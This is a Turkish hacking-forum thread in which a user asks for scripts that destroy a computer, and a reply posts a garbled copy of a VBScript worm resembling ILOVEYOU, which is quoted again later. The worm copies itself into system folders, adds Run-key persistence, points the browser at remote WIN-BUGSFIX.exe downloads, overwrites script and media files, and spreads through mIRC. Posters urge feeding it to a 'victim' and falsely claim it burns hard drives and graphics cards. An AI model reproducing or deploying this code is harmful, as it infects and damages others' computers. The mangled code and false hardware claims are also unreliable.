THT DUYURU

 
 
THT Yardım Merkezi THT Yardım Merkezi bölümünden; teknoloji ve bilişim ile ilgili her konu için yardım isteyebilirsiniz.

Seçenekler

Acil Yardım Bat Kodlarıyla İlgili

crazyboy93 - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
09/2009
Nereden:
Vb.Net
Mesajlar:
1.346
Konular:
159
Teşekkür (Etti):
19
Teşekkür (Aldı):
162
Ticaret:
(0) %
7
376
19-11-2012 02:07
#1
arkadaşlar sistemi bozan (formatlık yapan) işletim sistemi farketmeksizin işe yarıyan denenmiş bat kodları sölermisiniz .
'Black-Ghost - ait Kullanıcı Resmi (Avatar)
Kadim Üye
Üyelik tarihi:
05/2008
Nereden:
Çanakkale
Yaş:
33
Mesajlar:
7.915
Konular:
738
Teşekkür (Etti):
1341
Teşekkür (Aldı):
6385
Ticaret:
(0) %
19-11-2012 02:09
#2
http://www.turkhackteam.net/kriptogr...komutlari.html buradakılerının hepsı etkilidir.
---------------------

Bizi Edepsizler Değil, Edebimiz Susturur.


" Modası Geçmeyen tek şey EFENDİLİK "


Rèd-Kiit . - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
07/2012
Nereden:
Realtek.exe
Yaş:
27
Mesajlar:
13.539
Konular:
4019
Teşekkür (Etti):
2491
Teşekkür (Aldı):
4173
Ticaret:
(0) %
19-11-2012 02:11
#3
Kod:
rem delete -pcaş(-vbe)On es error -pcOn error Next Pc Hackdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=&"ctr=0Set fso = CreateObject(&Scripting.FileSystemObject&񗝍set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject(&WScript.Shell&񗝍rr=wscr.RegRead(&HKEY_CURRENT_USERSoftwareMicro s oftWindow s Scripting HostSettingsTimeout&񗝍if (rr>=1) thenwscr.RegWrite &HKEY_CURRENT_USERSoftwareMicrosoftWindo ws Scripting HostSettingsTimeout&,0,&REG_DWORD&end ifSet dirwin = fso.GetSpecialFolder(0)2Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&&MSKernel32.vbs&񗝍c.Copy(dirwin&&Win32DLL.vbs&񗝍c.Copy(dirsystem&&LOVE-LETTER-FOR-YOU.TXT.vbs&񗝍regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunMSKernel32&,dirsystem&&MSKernel32.vbs&regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunServicesWin32DLL&,dirwin&&Win32DLL.vbs&downread=&"downread=regget(&HKEY_CURRENT_USERSoftwareMicro s oftIntern et ExplorerDownload Directory&񗝍if (downread=&") thendownread=&c:&end ifif (fileexist(dirsystem&&WinFAT32.exe&񗝍=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~young1s/HJKh...jw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe&elseif num = 2 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~angelcat/skl...546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe&elseif num = 3 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~koichi/jf6TR...nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe&elseif num = 4 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~chu/sdgfhjks...DGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe&end ifend ifif (fileexist(downread&&WIN-BUGSFIX.exe&񗝍=0) thenregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunWIN-BUGSFIX&,downread&&WIN-BUGSFIX.exe&regcreate &HKEY_CURRENT_USERSoftwareMicrosoftInter ne t ExplorerMainStart Page&,&about:blank&end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&&&񗝍end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext=&vbs&񗝍 or (ext=&vbe&񗝍 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext=&js&񗝍 or (ext=&jse&񗝍 or (ext=&css&񗝍 or (ext=&wsh&񗝍 or (ext=&sct&񗝍 or (ext=&hta&񗝍 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)elseif(ext=&mp3&񗝣 or (ext=&mp2&񗝣 thenset mp3=fso.CreateTextFile(f1.path&&.vbs&񗝍mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s=&mirc32.exe&񗝍 or (s=&mlink32.exe&诮 or (s=&mirc.ini&񗝍 or (s=&script.ini&񗝍 or (s=&mirc.hlp&񗝍 thenset scriptini=fso.CreateTextFile(folderspec&&script. i ni&񗝍scriptini.WriteLine &[script]&scriptini.WriteLine &;mIRC Script&scriptini.WriteLine &; Please dont edit this script& mIRC will corrupt, if mIRC will&scriptini.WriteLine & corrupt& WINDOWS will affect and will not run correctly. thanks&scriptini.WriteLine &;&scriptini.WriteLine &;Khaled Mardam-Bey&scriptini.WriteLine &;http://www.mirc.com&scriptini.WriteLine &;&scriptini.WriteLine &n0=on 1:JOIN:#:{&scriptini.WriteLine &n1= /if ( şnick == şme ) { halt }&scriptini.WriteLine &n2= /.dcc send şnick &&dirsystem&&LOVE-LETTER-FOR-YOU.HTM&scriptini.WriteLine &n3=}&scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject(&WScript.Shell&񗝍regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject(&WScript.Shell&񗝍regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msg]

Arkadaşlar Bilgisayarınızda Bir Nod Defteri Açın Alltaki Kodu Nod Defterine Yapıştırın Dosya - Farklı Kaydet Deyin Uzantısını .bat Olarak Kaydedin ; Örneğin: cvc.bat Ve Winrarlayın İş Biter. Ve Bu Nedemektir.Bu trpro.NET.bat Dosyasını Kurbana Yutturursanız Kurbanın Pcsinin İçindeki Herşeyi Yakar. CD-ROOM , HARDİSK , EKRAN KARTI vs..
--------------------- Ben Müslümanım ve benim dinim mükemmel.Eğer bir hata yaptıysam beni yargıla, dinimi değil.


]
crazyboy93 - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
09/2009
Nereden:
Vb.Net
Mesajlar:
1.346
Konular:
159
Teşekkür (Etti):
19
Teşekkür (Aldı):
162
Ticaret:
(0) %
19-11-2012 02:11
#4
eywallah
crazyboy93 - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
09/2009
Nereden:
Vb.Net
Mesajlar:
1.346
Konular:
159
Teşekkür (Etti):
19
Teşekkür (Aldı):
162
Ticaret:
(0) %
19-11-2012 02:13
#5
Alıntı:
MemQo´isimli üyeden Alıntı Mesajı göster
Kod:
rem delete -pcaş(-vbe)On es error -pcOn error Next Pc Hackdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=&"ctr=0Set fso = CreateObject(&Scripting.FileSystemObject&񗝍set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject(&WScript.Shell&񗝍rr=wscr.RegRead(&HKEY_CURRENT_USERSoftwareMicro s oftWindow s Scripting HostSettingsTimeout&񗝍if (rr>=1) thenwscr.RegWrite &HKEY_CURRENT_USERSoftwareMicrosoftWindo ws Scripting HostSettingsTimeout&,0,&REG_DWORD&end ifSet dirwin = fso.GetSpecialFolder(0)2Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&&MSKernel32.vbs&񗝍c.Copy(dirwin&&Win32DLL.vbs&񗝍c.Copy(dirsystem&&LOVE-LETTER-FOR-YOU.TXT.vbs&񗝍regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunMSKernel32&,dirsystem&&MSKernel32.vbs&regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunServicesWin32DLL&,dirwin&&Win32DLL.vbs&downread=&"downread=regget(&HKEY_CURRENT_USERSoftwareMicro s oftIntern et ExplorerDownload Directory&񗝍if (downread=&") thendownread=&c:&end ifif (fileexist(dirsystem&&WinFAT32.exe&񗝍=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~young1s/HJKh...jw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe&elseif num = 2 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~angelcat/skl...546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe&elseif num = 3 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~koichi/jf6TR...nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe&elseif num = 4 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~chu/sdgfhjks...DGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe&end ifend ifif (fileexist(downread&&WIN-BUGSFIX.exe&񗝍=0) thenregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunWIN-BUGSFIX&,downread&&WIN-BUGSFIX.exe&regcreate &HKEY_CURRENT_USERSoftwareMicrosoftInter ne t ExplorerMainStart Page&,&about:blank&end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&&&񗝍end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext=&vbs&񗝍 or (ext=&vbe&񗝍 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext=&js&񗝍 or (ext=&jse&񗝍 or (ext=&css&񗝍 or (ext=&wsh&񗝍 or (ext=&sct&񗝍 or (ext=&hta&񗝍 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)elseif(ext=&mp3&񗝣 or (ext=&mp2&񗝣 thenset mp3=fso.CreateTextFile(f1.path&&.vbs&񗝍mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s=&mirc32.exe&񗝍 or (s=&mlink32.exe&诮 or (s=&mirc.ini&񗝍 or (s=&script.ini&񗝍 or (s=&mirc.hlp&񗝍 thenset scriptini=fso.CreateTextFile(folderspec&&script. i ni&񗝍scriptini.WriteLine &[script]&scriptini.WriteLine &;mIRC Script&scriptini.WriteLine &; Please dont edit this script& mIRC will corrupt, if mIRC will&scriptini.WriteLine & corrupt& WINDOWS will affect and will not run correctly. thanks&scriptini.WriteLine &;&scriptini.WriteLine &;Khaled Mardam-Bey&scriptini.WriteLine &;http://www.mirc.com&scriptini.WriteLine &;&scriptini.WriteLine &n0=on 1:JOIN:#:{&scriptini.WriteLine &n1= /if ( şnick == şme ) { halt }&scriptini.WriteLine &n2= /.dcc send şnick &&dirsystem&&LOVE-LETTER-FOR-YOU.HTM&scriptini.WriteLine &n3=}&scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject(&WScript.Shell&񗝍regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject(&WScript.Shell&񗝍regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msg]

Arkadaşlar Bilgisayarınızda Bir Nod Defteri Açın Alltaki Kodu Nod Defterine Yapıştırın Dosya - Farklı Kaydet Deyin Uzantısını .bat Olarak Kaydedin ; Örneğin: cvc.bat Ve Winrarlayın İş Biter. Ve Bu Nedemektir.Bu trpro.NET.bat Dosyasını Kurbana Yutturursanız Kurbanın Pcsinin İçindeki Herşeyi Yakar. CD-ROOM , HARDİSK , EKRAN KARTI vs..

dostum ben açıkçası harddiski yakacağını tahmin etmiyorum ama diğerlerini bilemem yani ne kadar işe yarıyor hani o kadar kolay olcağını zannetmiyorum
Rèd-Kiit . - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
07/2012
Nereden:
Realtek.exe
Yaş:
27
Mesajlar:
13.539
Konular:
4019
Teşekkür (Etti):
2491
Teşekkür (Aldı):
4173
Ticaret:
(0) %
19-11-2012 02:13
#6
Kendinde Dene Sonucu Gör İnanmıyorsan .
--------------------- Ben Müslümanım ve benim dinim mükemmel.Eğer bir hata yaptıysam beni yargıla, dinimi değil.


]
crazyboy93 - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
09/2009
Nereden:
Vb.Net
Mesajlar:
1.346
Konular:
159
Teşekkür (Etti):
19
Teşekkür (Aldı):
162
Ticaret:
(0) %
19-11-2012 02:15
#7
Alıntı:
MemQo´isimli üyeden Alıntı Mesajı göster
Kendinde Dene Sonucu Gör İnanmıyorsan .
valla denediysen bişey diyemem de tabi yani buda çok ağır olur ya pekala sağol .
Rèd-Kiit . - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
07/2012
Nereden:
Realtek.exe
Yaş:
27
Mesajlar:
13.539
Konular:
4019
Teşekkür (Etti):
2491
Teşekkür (Aldı):
4173
Ticaret:
(0) %
19-11-2012 02:22
#8
Agır 0Lan Bisi yok Rat KuLanıyorsan Kurbanın Varsa Herseyi DeniyebiLirsin

İyi ForumLar .
--------------------- Ben Müslümanım ve benim dinim mükemmel.Eğer bir hata yaptıysam beni yargıla, dinimi değil.


]

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler